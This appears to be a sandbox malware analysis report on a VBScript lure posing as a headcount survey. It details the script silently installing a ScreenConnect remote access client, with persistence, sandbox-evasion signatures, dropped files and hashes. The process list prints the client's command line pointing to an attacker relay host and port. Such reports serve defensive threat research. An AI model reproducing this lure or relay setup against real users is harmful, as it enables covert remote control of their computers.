Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 17:09

General

  • Target
    Institutional_Headcount_Survey.vbs
  • Size 2KB
  • Sample260821-vpfe3ahn81
  • SHA256 d036869a7957073309cc64b86f15efc0ebcc71f9e1eb29346d079212fb7b2938
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Institutional_Headcount_Survey.vbs"
    1⤵
    • Badlisted process makes network request
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:6076
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 10DD13FA502C0B635056629B83844CED C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240732328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4580
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2684
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 19F47DD1281A67BA6B0F493CAA8CDF43
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1320
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B40A08CB43640FC91FCE03A2926526CA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3964
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:712
    • C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=invite.surf&p=8041&s=b86b51ca-c49b-4a7d-8ce7-d421f1598fc9&k=BgIAAACkAABSU0ExAAgAAAEAAQD50CcnAdBcQHBL1lfjiNO0iNc0L60b8Bqe%2bpilBw4gdLGwwPKNOfQvU5mykdkjl%2frnSEfqYVvBoTZjHA9msNV8Xfw%2fxGmnFGgCQog99XYYHW1nN%2bUENC93fSRfHEctSUFKJ4QFIhA8iHeJmuomv5LMEVhnc4B5sYNlqpS33pzA43bklJtOG668fEnReEEk3A1W3PVTq%2bG%2b1tDR%2f2iJREz4TWJlc6Ti8rondBkRlA2H4tYDaCooixNH%2bnV4P54bXohxr4ai8OEJvLObjadPPWctPzWmTh0HrbWjTsn2zq1vzKU3qPQmOPW3i1Vjn%2b0ZWlYTMg7vVquCd3MuwQQiIoil&c=node&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe" "RunRole" "a25eb372-42ce-4a7e-9018-a74f67d0f541" "User"
        2⤵
        • Executes dropped EXE
        PID:4304
      • C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe" "RunRole" "37429387-d0c8-436a-8d48-bab9472e105e" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5988

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e599f06.rbs

          • Path C:\Config.Msi\e599f06.rbs
          • Size 214KB
          • SHA256 377e25560d8928891b3a154e02f0f5e1cdba576f9fa2705ff286b00dc5482da7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\Client.Override.en-US.resources
          • Size 300B
          • SHA256 b29d7803e6b02fe453e9cd83c014300e393576a498dedb867930dac7708b5393
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\Client.Override.resources
          • Size 681B
          • SHA256 96bc344fb7d56af6fe9337129abc5769ab51a6c6bb890cda7dce09a6bb8cae0e
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\app.config
          • Size 1KB
          • SHA256 9fbecc2f023446c37f1786bd965fb3a83243abd38b49f96bdd31283cbfe4b355
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d3959798acdeb4eb)\system.config
          • Size 935B
          • SHA256 ff36de0fae9e0eec4d9f6a29f09109dcfa41771092eb6a7437ae8632a0a1719a
          • MD5 SHA1 SHA512 TLSH

          MSI477F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI477F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 c8623d19323c32146ac795fa96a50d1b6a6c3bfcaa21244e7dcdcd6ac11d8ab7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIA57E.tmp

          • Path C:\Windows\Installer\MSIA57E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tofdupyc.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d3959798acdeb4eb)\tofdupyc.newcfg
          • Size 560B
          • SHA256 0fc72c670f9fdb6f9b792f2e981829f33ea628650ee755b7f4dbefcd7ac7d2d5
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d3959798acdeb4eb)\user.config
          • Size 560B
          • SHA256 9a502a329c484713161e652b03b13f1d9bf6b8605e9d5446ca5587dedad5dfeb
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 5fad49a36fbcc2620285a3884adfddde1368d61a963570afae8488817e919dd3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {107cb957-40c1-4c3b-908e-a92510d96328}_OnDiskSnapshotProp

          • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{107cb957-40c1-4c3b-908e-a92510d96328}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 808edea0d0f3dd480c0955ba83cf665fdea032631916fdff16220bc827b5e171
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1476-132-0x000001E341EB0000-0x000001E341F7D000-memory.dmp

          memory/3388-105-0x00000000041F0000-0x0000000004240000-memory.dmp

          memory/3388-109-0x0000000004240000-0x0000000004276000-memory.dmp

          memory/3388-82-0x0000000003E40000-0x0000000003E58000-memory.dmp

          memory/3388-114-0x0000000004710000-0x00000000047E5000-memory.dmp

          memory/3388-112-0x0000000004280000-0x00000000042C1000-memory.dmp

          memory/3388-110-0x0000000004520000-0x00000000045B2000-memory.dmp

          memory/4304-129-0x0000000002EB0000-0x0000000002EC8000-memory.dmp

          memory/4304-134-0x0000000001630000-0x00000000016FD000-memory.dmp

          memory/4304-124-0x0000000000D20000-0x0000000000DB8000-memory.dmp

          memory/4304-125-0x0000000002EE0000-0x0000000002F16000-memory.dmp

          memory/4304-126-0x000000001BFB0000-0x000000001C03C000-memory.dmp

          memory/4304-127-0x000000001C1F0000-0x000000001C39C000-memory.dmp

          memory/4304-128-0x000000001C530000-0x000000001C6B8000-memory.dmp

          memory/4304-156-0x0000000001630000-0x00000000016FD000-memory.dmp

          memory/4304-130-0x0000000002F40000-0x0000000002F58000-memory.dmp

          memory/4580-27-0x00000000040E0000-0x00000000040EA000-memory.dmp

          memory/4580-31-0x0000000006200000-0x000000000628C000-memory.dmp

          memory/4580-35-0x00000000064D0000-0x000000000667C000-memory.dmp

          memory/4580-36-0x0000000006C40000-0x00000000071FA000-memory.dmp

          memory/4580-23-0x00000000040A0000-0x00000000040CE000-memory.dmp

          memory/5988-133-0x0000000000E30000-0x0000000000EFD000-memory.dmp